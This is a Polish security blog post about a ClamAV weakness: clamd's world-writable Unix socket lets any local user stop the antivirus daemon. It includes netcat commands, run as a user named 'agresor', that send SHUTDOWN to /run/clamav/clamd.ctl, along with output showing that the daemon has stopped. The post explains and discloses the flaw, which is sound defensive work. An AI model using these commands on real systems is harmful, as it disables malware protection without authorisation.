NFsec Logo

Gasimy clamd jako zwykły użytkownik

22/02/2023 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 849, ilość słów: 510)

C

lamAV to silnik antywirusowy typu open source, który jest szeroko stosowany na serwerach pocztowych oraz różnych komercyjnych, “zamkniętych skrzynkach”. 15 lutego 2023 roku na blogu programu został opublikowany biuletyn bezpieczeństwa szczegółowo opisujący potencjalną lukę umożliwiającą zdalne wykonanie kodu w swoim parserze systemu plików HFS+ (głównym problemem jest brak sprawdzania rozmiaru podczas kopiowania bloków do bufora węzła). Luce tej nadano CVE: CVE-2023-20032. Co ciekawe podczas analizy poprawek tych luk Jared Stroud natknął się na otwarty pull request wskazujący, że nieuprzywilejowani użytkownicy mogą wyłączyć daemona clamav.

By default, any arbitrary user is able to use the userspace socket file
to shutdown the clamd daemon. This adds a check for connections to the
local socket server, ensuring that only root is able to do this.

Zgodnie z opisem każdy użytkownik może wejść w interakcję z gniazdem lokalnej komunikacji międzyprocesowej ClamAV, aby wyłączyć jego główny proces. Dla przypomnienia gniazda unix są formą komunikacji w systemie Linux służącej do wydajnej komunikacji pomiędzy procesami na tej samej maszynie bez nasłuchiwania na porcie i obsługi wszystkich dodatkowych narzutów związanych z wysyłaniem danych przez połączenie sieciowe. Za pomocą polecenia pidof oraz lsof wyświetlmy listę wszystkich otwartych plików dla identyfikatora procesu clamd i przefiltrujmy je pod kątem gniazd uniksowych:

root@darkstar:~# lsof -p `pidof clamd` | grep 'type=STREAM'
clamd 3395266 clamav 1u unix 0xffff8ddb36a93c00 0t0 635766477 type=STREAM
clamd 3395266 clamav 2u unix 0xffff8ddb36a93c00 0t0 635766477 type=STREAM
clamd 3395266 clamav 5u unix 0xffff8ddb75712800 0t0 635768024 type=STREAM
clamd 3395266 clamav 6u unix 0xffff8dd9f89c9c00 0t0 ... /run/clamav/clamd.ctl type=STREAM

Następnie sprawdzamy jakie są uprawnienia do pliku /run/clamav/clamd.ctl:

root@darkstar:~# ls -al /run/clamav/clamd.ctl
srw-rw-rw- 1 clamav clamav 0 Feb 22 21:33 /run/clamav/clamd.ctl

Jak widzimy, uprawnienia do tego pliku pozwalają każdemu na odczyt lub zapis. W ten sposób zwykły użytkownik będzie mógł wydawać polecenia (man clamd) daemonowi ClamAV. Poniższy listing pokazuje osiągnięcie ręcznego wyłączenia daemona ClamAV przez użytkownika agresor z wykorzystaniem polecenia netcat.

agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl
PING
PONG

agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl
VERSION
ClamAV 0.103.6/26820/Wed Feb 22 09:30:58 2023

agresor@darkstar:~$ nc -U /run/clamav/clamd.ctl
SHUTDOWN

agresor@darkstar:~$ lsof -p `pidof clamd`
lsof: no process ID specified

agresor@darkstar:~# ps xuaw | grep clam
clamav     692  0.0  0.1 147180  9808 ?      Ss   2022  8:05 /usr/bin/freshclam
root   3432926  0.0  0.0   8160  2520 pts/0  S+  22:29  0:00 grep --color=auto clam

Jak widzimy daemon ClamAV został zgaszony, a w liście procesów pozostał tylko proces odpowiedzialny za odświeżanie definicji wirusów. Sedno problemu polega na tym, że użytkownik musi mieć możliwość wyzwalania skanowania plików, dlatego wymagany jest zapis na tym gnieździe. Zazwyczaj funkcja ta jest uruchamiana przez clamscan. Nie zastosowano jednak ograniczeń co do tego jakie polecenia może wykonywać użytkownik. Dlatego polecenie powodujące zgaszenie procesu (SHUTDOWN) powinno wymagać uprawnień administracyjnych i właśnie tego dotyczy poprawka. Badacz bezpieczeństwa, który wychwycił lukę zgłosił już nawet moduł do Metasploit.

Więcej informacji: Disabling ClamAV as an Unprivileged User

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , ,

Komentowanie tego wpisu jest zablokowane.